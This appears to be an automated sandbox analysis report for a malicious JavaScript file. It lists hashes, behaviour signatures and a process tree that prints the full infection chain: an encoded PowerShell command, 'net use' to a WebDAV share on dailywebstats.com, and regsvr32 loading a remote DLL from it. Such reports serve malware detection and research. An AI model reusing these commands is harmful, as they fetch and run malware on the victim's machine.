Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21/08/2024, 16:21

General

  • Target

    e9b6376e52d9aaaa1a1b5d1ee35f5c467ca6eb964c22650e2953571746f66599.js

  • Size

    9KB

  • MD5

    b1cdb5e4a233794ad1482d4c03241474

  • SHA1

    da982f986cef09ea837afd19be048788af32132b

  • SHA256

    e9b6376e52d9aaaa1a1b5d1ee35f5c467ca6eb964c22650e2953571746f66599

  • SHA512

    49b6e381552363719b7ba10b3e2b5cd0069bed0a7da1a64a8a0d59550e8913bfcbd88b6964ac34dd8ea998058741b0927911bd3ed998fe5a0e2247236de5d7ff

  • SSDEEP

    192:9Emr4jsVT72486iTIIo7vdolmZo7vdHNzfVTQq2:9Es4u648m

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\e9b6376e52d9aaaa1a1b5d1ee35f5c467ca6eb964c22650e2953571746f66599.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5112
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcACAAOwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcADEAMgA4ADEANwAyADQAOQAyADgAMgA3ADgAMwAuAGQAbABsAA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5088
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\dailywebstats.com@8888\davwwwroot\
        3⤵
          PID:5008
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\dailywebstats.com@8888\davwwwroot\12817249282783.dll
          3⤵
            PID:3780

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_czfgu2bh.nnt.ps1

              Filesize

              60B

              MD5

              d17fe0a3f47be24a6453e9ef58c94641

              SHA1

              6ab83620379fc69f80c0242105ddffd7d98d5d9d

              SHA256

              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

              SHA512

              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

            • memory/5088-0-0x00007FFFEC4A3000-0x00007FFFEC4A5000-memory.dmp

              Filesize

              8KB

            • memory/5088-7-0x000002130F750000-0x000002130F772000-memory.dmp

              Filesize

              136KB

            • memory/5088-11-0x00007FFFEC4A0000-0x00007FFFECF61000-memory.dmp

              Filesize

              10.8MB

            • memory/5088-12-0x00007FFFEC4A0000-0x00007FFFECF61000-memory.dmp

              Filesize

              10.8MB

            • memory/5088-15-0x00007FFFEC4A0000-0x00007FFFECF61000-memory.dmp

              Filesize

              10.8MB